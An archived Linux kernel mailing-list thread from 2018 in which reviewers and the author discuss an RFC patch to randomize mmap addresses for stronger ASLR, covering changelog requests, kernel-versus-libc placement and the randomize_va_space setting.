X-Mailer: Sylpheed 3.6.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2722734 gmane.linux.ports.alpha:4824 gmane.linux.kernel.arc:3614 gmane.linux.ports.arm.kernel:640305 gmane.linux.ports.ia64:28732 gmane.linux.kernel.metag:1703 gmane.linux.ports.mips.general:64153 gmane.linux.ports.parisc:28358 gmane.linux.ports.ppc64.devel:154911 gmane.linux.ports.sh.devel:56673 gmane.linux.ports.sparc:27456 gmane.linux.kernel.mm:192064
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2722734>


Please add changelogs.  An explanation of what a "limit on memory
region random shift" is would be nice ;) Why does it exist, why are we
doing this, etc.  Surely there's something to be said - at present this
is just a lump of random code?





From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Thu, 22 Mar 2018 13:57:29 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20180322135729.dbfd3575819c92c0f88c5c21@linux-foundation.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521752142 9372 195.159.176.226 (22 Mar 2018 20:55:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2018 20:55:42 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        mhocko@suse.com, hughd@google.com, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, steve.capper@arm.com, punit.agrawal@arm.com,
        paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
        npiggin@gmail.c
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 22 21:55:32 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ez7FD-0007jK-9z
	for glk-linux-kernel-4@m.gmane.org; Thu, 22 Mar 2018 21:55:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751863AbeCVU5f (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 22 Mar 2018 16:57:35 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:57656 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751752AbeCVU5d (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 22 Mar 2018 16:57:33 -0400
Original-Received: from akpm3.svl.corp.google.com (unknown [104.133.9.71])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 4ACD4E8F;
        Thu, 22 Mar 2018 20:57:30 +0000 (UTC)
In-Reply-To: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
X-Mailer: Sylpheed 3.6.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2722736 gmane.linux.ports.alpha:4825 gmane.linux.kernel.arc:3615 gmane.linux.ports.arm.kernel:640306 gmane.linux.ports.ia64:28733 gmane.linux.kernel.metag:1704 gmane.linux.ports.mips.general:64154 gmane.linux.ports.parisc:28359 gmane.linux.ports.ppc64.devel:154912 gmane.linux.ports.sh.devel:56674 gmane.linux.ports.sparc:27457 gmane.linux.kernel.mm:192065
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2722736>

On Thu, 22 Mar 2018 19:36:36 +0300 Ilya Smith <blackzert@gmail.com> wrote:

> Current implementation doesn't randomize address returned by mmap.
> All the entropy ends with choosing mmap_base_addr at the process
> creation. After that mmap build very predictable layout of address
> space. It allows to bypass ASLR in many cases.

Perhaps some more effort on the problem description would help.  *Are*
people predicting layouts at present?  What problems does this cause? 
How are they doing this and are there other approaches to solving the
problem?

Mainly: what value does this patchset have to our users?  This reader
is unable to determine that from the information which you have
provided.  Full details, please.



From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matthew Wilcox <willy@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 05:48:06 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20180323124806.GA5624@bombadil.infradead.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521809182 2212 195.159.176.226 (23 Mar 2018 12:46:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 12:46:22 +0000 (UTC)
User-Agent: Mutt/1.9.2 (2017-12-15)
Cc: kstewart@linuxfoundation.org, linux-mips@linux-mips.org, dalias@libc.org,
 jack@suse.cz, linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 bhsharma@redhat.com, heiko.carstens@de.ibm.com, jejb@parisc-linux.org,
 linux-mm@kvack.org, mhocko@suse.com, paulus@samba.org, deepa.kernel@gmail.com,
 hpa@zytor.com, sparclinux@vger.kernel.org, linux-ia64@vger.kernel.org,
 dan.j.williams@intel.com, aarcange@redhat.com, linux-s390@vger.kernel.org,
 ysato@users.sourceforge.jp, mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org,
 hughd@google.com, linux@armlinux.org.uk, nitin.m.gupta@oracle.com,
 linux-alpha@vger.kernel.org, mingo@redhat.com, jhogan@kernel.org,
 mattst88@gmail.com, linux-snps-arc@lists.infradead.org, fenghua.yu@intel.com,
 riel@redhat.com, punit.agrawal@arm.com, keescook@chromium.org, arnd@arndb.de,
 pombredanne@nexb.com, npiggin@gmail.com, jglisse@redhat.com,
 ink@jurassic.park.m
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 23 13:46:12 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ezM5E-0000OR-Di
	for gla-linux-snps-arc@m.gmane.org; Fri, 23 Mar 2018 13:46:12 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=TYL7EQxPKQLwGSIyIBcsId9/NUFxO3rBThT+U98Ofe8=; b=qasWChEJREi5A8
	3UFq5fbw2ndCLl3TWYJYKH5qG136vxYyrQwcdzlemH2c9evkhhNgPMK0DnZQHofoXvjfv9nYf0psi
	29hyiL0WQGQAJ3Fm+jvKV2dMAVqbRaCClO4ykaOsI34jpWXuyrC3PxLvC+0XYAiu3X1Y30Ls6btCz
	o7LsBJbDEyMDEOBbODgNJpzrUF7shbMHpcsmv4QaLiCgBv4ZmbVCeOGCAi8MQlISzS/PXt67qfpbO
	bMV1vYfYmm1v53aoIVzSmjVGUto3U5XKqbpBxs4EgdAQ2ykSRfxOBOWFkWvKHIzRJTmgQmRfvbhAH
	sciKHMeq48rBXozjvlSg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ezM7H-0002CN-5f; Fri, 23 Mar 2018 12:48:19 +0000
Original-Received: from willy by bombadil.infradead.org with local (Exim 4.90_1 #2 (Red
 Hat Linux)) id 1ezM74-0002Ab-VV; Fri, 23 Mar 2018 12:48:06 +0000
Content-Disposition: inline
In-Reply-To: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3616 gmane.linux.ports.mips.general:64159 gmane.linux.ports.sh.devel:56681 gmane.linux.kernel.mm:192119 gmane.linux.ports.sparc:27458 gmane.linux.ports.ia64:28734 gmane.linux.ports.alpha:4826 gmane.linux.ports.arm.kernel:640447 gmane.linux.ports.parisc:28360 gmane.linux.kernel:2723689 gmane.linux.kernel.metag:1705 gmane.linux.ports.ppc64.devel:154960
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3616>

On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
> Current implementation doesn't randomize address returned by mmap.
> All the entropy ends with choosing mmap_base_addr at the process
> creation. After that mmap build very predictable layout of address
> space. It allows to bypass ASLR in many cases. This patch make
> randomization of address on any mmap call.

Why should this be done in the kernel rather than libc?  libc is perfectly
capable of specifying random numbers in the first argument of mmap.

From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 20:25:15 +0300
Lines: 42
Approved: news@gmane.org
Message-ID: <C43F853F-6B54-42DF-AEF2-64B22DAB8A1D@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180322135729.dbfd3575819c92c0f88c5c21@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521825810 15224 195.159.176.226 (23 Mar 2018 17:23:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 17:23:30 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        schwidefsky@de.ibm.com, heiko.carstens@de.ibm.com,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, nyc@holomorphy.com, viro@zeniv.linux.org.uk,
        arnd@arndb.de, gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        mhocko@suse.com, hughd@google.com, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, steve.capper@arm.com, punit.agrawal@arm.com,
        paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 23 18:23:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ezQPQ-0003lB-J6
	for glk-linux-kernel-4@m.gmane.org; Fri, 23 Mar 2018 18:23:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751997AbeCWRZZ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 23 Mar 2018 13:25:25 -0400
Original-Received: from mail-lf0-f67.google.com ([209.85.215.67]:34538 "EHLO
        mail-lf0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751388AbeCWRZV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 23 Mar 2018 13:25:21 -0400
Original-Received: by mail-lf0-f67.google.com with SMTP id c78-v6so14717063lfh.1;
        Fri, 23 Mar 2018 10:25:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=+OZYzmT42h5SnWF0OczzPVpdipxT1C1TADxUtBA1ByE=;
        b=OMlmcj8clO1OhtW8TlROXMtuSBQs3b4vYoHzLtsQSLQDhAzTFgSd1w0fWr8joiDzB1
         BrOebu8owGbjefmKhhGLmhtadNI+jqT6C3FHwwI4hdszSJT6+AZUdctz5/GY7HnAMxEP
         PzTPeHlb+xsHuDV03Di0vInH+29WPFkbJxrbmPjPx5ZrrZk1f9RpTdqr7zl1LalYD+AQ
         FmwBsIVuZXGrmaAXuzjF044CHD8t4MXd7Rfw/8gAxRPJBNHMbSUKylxwpDuK7s/ONLqz
         B3cDGGcmlWF/6wrgLqSuWV+FW9B/nj4/3iLdUbWuelWpSO81f12q4iTNVi/AlMZ51W3g
         MTDw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=+OZYzmT42h5SnWF0OczzPVpdipxT1C1TADxUtBA1ByE=;
        b=Px/hFnJlDjiHRFK6m/eWuLkkNO4cAPlwNzm1yMC2UZMdFlNHkZbOxuywyCAEZFZ1BV
         +j8vnkeT1BdY1QKk13qBSFQP04gZSDMQ63v2cx192kl3kbJFTJMhY2locQ3IPE9sllqW
         uvXvU9lQAM6O7RtAO8RbuJ5fXTVvqbEhpHih+Z5ZoEP0DRTjmW2+QF+3b3HY4RwxRhsX
         qkwelA9QeXbZU7W6R/Vk5Bukg6HLWAhUT4Cgj+RK/P9NwEGpx5n1bLZRgqt8EnquEwM8
         0RR6aZHOdvZEjgxE4QrGjhFT36fmX77wceHuIwYMAlJdim16xzsHq0ndidiH/seIeAcx
         2I5w==
X-Gm-Message-State: AElRT7G4FysLUo23ZV12ntQ+ek8i4yb2L+WeK0P61nqIFJgMR6ssP25o
        meFgjWljmfALeTQPPC30TZA=
X-Google-Smtp-Source: AG47ELs5zcJhgSg9vwDza07EaDR0FQ17bw+vBwBGrJupYOX3TXXRodca/W9uPN4u58MIyJuxfBeFnQ==
X-Received: by 10.46.157.214 with SMTP id x22mr19381421ljj.135.1521825918360;
        Fri, 23 Mar 2018 10:25:18 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru. [188.255.70.164])
        by smtp.gmail.com with ESMTPSA id d73-v6sm2302283lfl.77.2018.03.23.10.25.15
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 23 Mar 2018 10:25:17 -0700 (PDT)
In-Reply-To: <20180322135729.dbfd3575819c92c0f88c5c21@linux-foundation.org>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2723986 gmane.linux.ports.alpha:4827 gmane.linux.kernel.arc:3617 gmane.linux.ports.arm.kernel:640520 gmane.linux.ports.ia64:28735 gmane.linux.kernel.metag:1706 gmane.linux.ports.mips.general:64160 gmane.linux.ports.parisc:28361 gmane.linux.ports.ppc64.devel:154970 gmane.linux.ports.sh.devel:56682 gmane.linux.ports.sparc:27459 gmane.linux.kernel.mm:192147
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2723986>

Hello, Andrew

Thanks for reading this patch.

> On 22 Mar 2018, at 23:57, Andrew Morton <akpm@linux-foundation.org> =
wrote:
>=20
> On Thu, 22 Mar 2018 19:36:36 +0300 Ilya Smith <blackzert@gmail.com> =
wrote:
>=20
>> Current implementation doesn't randomize address returned by mmap.
>> All the entropy ends with choosing mmap_base_addr at the process
>> creation. After that mmap build very predictable layout of address
>> space. It allows to bypass ASLR in many cases.
>=20
> Perhaps some more effort on the problem description would help.  *Are*
> people predicting layouts at present?  What problems does this cause?=20=

> How are they doing this and are there other approaches to solving the
> problem?
>=20
Sorry, I=E2=80=99ve lost it in first version. In short - memory layout =
could be easily=20
repaired by single leakage. Also any Out of Bounds error may easily be=20=

exploited according to current implementation. All because mmap choose =
address=20
just before previously allocated segment. You can read more about it =
here:=20
http://www.openwall.com/lists/oss-security/2018/02/27/5
Some test are available here https://github.com/blackzert/aslur.=20
To solve the problem Kernel should randomize address on any mmap so
attacker could never easily gain needed addresses.

> Mainly: what value does this patchset have to our users?  This reader
> is unable to determine that from the information which you have
> provided.  Full details, please.

The value of this patch is to decrease successful rate of exploitation
vulnerable applications.These could be either remote or local vectors.



From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 1/2] Randomization of address chosen by mmap.
Date: Fri, 23 Mar 2018 20:43:25 +0300
Lines: 134
Approved: news@gmane.org
Message-ID: <547032AD-605D-46AF-9DA6-C2ECA01923E1@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <1521736598-12812-2-git-send-email-blackzert@gmail.com>
 <20180322135314.61efce938293e051e118fa46@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain;
        charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521826902 25713 195.159.176.226 (23 Mar 2018 17:41:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Mar 2018 17:41:42 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Michal Hocko <mhocko@suse.com>,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, steve.capper@arm.com, punit.agrawal@arm.com,
        aneesh.kumar@linux.vnet.ibm.com, npiggin@gma
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 23 18:41:32 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ezQh1-00064O-9n
	for glk-linux-kernel-4@m.gmane.org; Fri, 23 Mar 2018 18:41:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752346AbeCWRng (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 23 Mar 2018 13:43:36 -0400
Original-Received: from mail-lf0-f67.google.com ([209.85.215.67]:39268 "EHLO
        mail-lf0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752308AbeCWRnb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 23 Mar 2018 13:43:31 -0400
Original-Received: by mail-lf0-f67.google.com with SMTP id p142-v6so19474616lfd.6;
        Fri, 23 Mar 2018 10:43:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=QZq4UFrT02MMmDvS3rVa2L5oKghNblZL+cJZh/o9UH0=;
        b=JHbHee0h53JbfZKtjVUj//P0oos2gKonfd3jDsU2XL+ui/bnVXZBBH65zIZIJFUOg7
         1/7VcqNXhE7QIDeve1TwFda4oIzW/JKlzDV+NbAJKKynq3G7/GpppSCf9/zYm2VuyRP1
         eIqsCfppiFkzU6fksNtPdReW4Jke8mmxJ2dKWNPp9uXJpsVG9DObYc85XPw1C5yNkIpA
         q4fGTyV41TIA3ehtj4bzmgeYlgDpFE+k2NTZVgo0sozT3gOTWWosGkeW0evpf+7GdaWI
         eoCN71eNSbtsZkCiqKcK2nuq4G+e3qkZlHwvSp9iTjayojLi4q0Tj1B2zTChmWDSmwjO
         RsOg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=QZq4UFrT02MMmDvS3rVa2L5oKghNblZL+cJZh/o9UH0=;
        b=CVtU5MnnC0c8ahP8tRVpXXruBObmckHPZUg2k9Gq6YbXleyOYsG7q61NrrujTGG+Pw
         QCL1I7Gj0kRM9qI8F0kXxbJ9aQ+adhpHE66hxph/T1bnC9r29OoEgzHb0yZjy6cfVshj
         sVRRKMW+qULJ1YshlL40G7Y5+PFghijIGziHNxSfhu+cuRY2xWybv2GbcVU9Xk0bP/IU
         pSYQjyClTYrK7zuPjWhbmQ9Fv2J3M2WBvpKSsHQyS7K+WHjMrsfXcDIW+kLRngyFeVh8
         hLPZb2rJnxDuqS4uCUuWSXPpsFOPsw6+sksr6cEaQ+1EkdHz2piUHZbuqaN3L+34aBw0
         j+jQ==
X-Gm-Message-State: AElRT7GPECiczq0wlSiw91Iyxg5ueuzS+LBDWIQMNQHikXU2IR5blzx4
        qX7+Cryuod+tfAWGVNL9i34=
X-Google-Smtp-Source: AG47ELsm3SSvZMKhrtdKOCSDDRM/445Cf1QIFUfL/ApGlTQAxukWZUdRrtOYDTWVnwvMSsy++jwWiQ==
X-Received: by 2002:a19:4c56:: with SMTP id z83-v6mr19797192lfa.141.1521827008444;
        Fri, 23 Mar 2018 10:43:28 -0700 (PDT)
Original-Received: from [192.168.1.3] (broadband-188-255-70-164.moscow.rt.ru. [188.255.70.164])
        by smtp.gmail.com with ESMTPSA id l1sm1967810ljc.91.2018.03.23.10.43.26
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 23 Mar 2018 10:43:27 -0700 (PDT)
In-Reply-To: <20180322135314.61efce938293e051e118fa46@linux-foundation.org>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2723998 gmane.linux.ports.alpha:4828 gmane.linux.kernel.arc:3618 gmane.linux.ports.ia64:28736 gmane.linux.kernel.metag:1707 gmane.linux.ports.mips.general:64161 gmane.linux.ports.parisc:28362 gmane.linux.ports.ppc64.devel:154971 gmane.linux.ports.sh.devel:56683 gmane.linux.ports.sparc:27460 gmane.linux.kernel.mm:192148
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2723998>


> On 22 Mar 2018, at 23:53, Andrew Morton <akpm@linux-foundation.org> =
wrote:
>=20
> On Thu, 22 Mar 2018 19:36:37 +0300 Ilya Smith <blackzert@gmail.com> =
wrote:
>=20
>> include/linux/mm.h |  16 ++++--
>> mm/mmap.c          | 164 =
+++++++++++++++++++++++++++++++++++++++++++++++++++++
>=20
> You'll be wanting to update the documentation.=20
> Documentation/sysctl/kernel.txt and
> Documentation/admin-guide/kernel-parameters.txt.
>=20

Sure, thanks for pointing there. I will add few lines there after =
discussion them
here.

>> ...
>>=20
>> @@ -2268,6 +2276,9 @@ extern unsigned long =
unmapped_area_topdown(struct vm_unmapped_area_info *info);
>> static inline unsigned long
>> vm_unmapped_area(struct vm_unmapped_area_info *info)
>> {
>> +	/* How about 32 bit process?? */
>> +	if ((current->flags & PF_RANDOMIZE) && randomize_va_space > 3)
>> +		return unmapped_area_random(info);
>=20
> The handling of randomize_va_space is peculiar.  Rather than being a
> bitfield which independently selects different modes, it is treated as
> a scalar: the larger the value, the more stuff we randomize.
>=20
> I can see the sense in that (and I wonder what randomize_va_space=3D5
> will do).  But it is...  odd.
>=20
> Why did you select randomize_va_space=3D4 for this?  Is there a mode 3
> already and we forgot to document it?  Or did you leave a gap for
> something?  If the former, please feel free to fix the documentation
> (in a separate, preceding patch) while you're in there ;)
>=20

Yes, I was not sure about correct value so leaved some gap for future. =
Also
according to current implementation this value used like a scalar. But =
I=E2=80=99m
agree bitfield looks more flexible for the future. I think right now I =
can leave
3 as value for my patch and it could be fixed any time in the future. =
What
do you think about it?

>> 	if (info->flags & VM_UNMAPPED_AREA_TOPDOWN)
>> 		return unmapped_area_topdown(info);
>> 	else
>> @@ -2529,11 +2540,6 @@ int drop_caches_sysctl_handler(struct =
ctl_table *, int,
>> void drop_slab(void);
>> void drop_slab_node(int nid);
>>=20
>>=20
>> ...
>>=20
>> @@ -1780,6 +1781,169 @@ unsigned long mmap_region(struct file *file, =
